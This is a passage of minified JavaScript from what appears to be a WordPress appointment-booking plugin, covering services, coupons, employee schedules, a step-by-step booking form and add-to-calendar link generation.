O{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():u(\"Clients\",\"motopress-appointment\")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let s=e[t];null!=s&&\"\"!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=s*this.amount\u002F100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t=\"public\"){return f(e,\"internal\"==t?\"H:i\":\"public\"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(\":\"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let s=\"short\"==e?\"public\":e,i=z(this.startTime,s),a=z(this.endTime,s);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u(\"All day\",\"motopress-appointment\"):\"short\"==e&&i==a?i:i+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,\"internal\"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,\"internal\")+\" - \"+f(this.endDate,\"internal\")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),\"work\"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=f(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:\"entities\"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:\"entities\"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case\"bool\":s=H(t);break;case\"integer\":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class de{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,s]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(s))throw new Error(\"Unknown timezone format: \"+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const h=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+n,\"END:VTIMEZONE\");let c={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+o,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+l,summary:\"SUMMARY:\"+i,description:\"DESCRIPTION:\"+a,location:\"LOCATION:\"+r};c=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",c);let p=Object.values(c);h.push(\"BEGIN:VEVENT\",...p,\"END:VEVENT\"),h.push(\"END:VCALENDAR\");const d=h.join(\"\\n\"),u=new Blob([d],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),r.search=new URLSearchParams({action:\"TEMPLATE\",text:s,dates:`${o}\u002F${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append(\"ctz\",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:\"60\",view:\"d\",type:\"20\",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),h.dur=\"allday\"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+\". \"+s.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let r=i;e.getCapacity()>1&&(r+=\" \",r+='\u003Cspan class=\"mpa-reservation-capacity\">',r+=s.getQuantityLabel()+\": \"+e.getCapacity(),r+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(r),t.find(\".reservation-date\").html(f(e.date)),t.find(\".reservation-time\").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function ge(e){let t=\"\";for(let s in e)t+=\" \"+s+'=\"'+e[s]+'\"';return t}function ye(e,t={}){return\"\u003Cbutton\"+ge(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function fe(e,t){let s={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},i=t.clone();i.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(l))continue;let 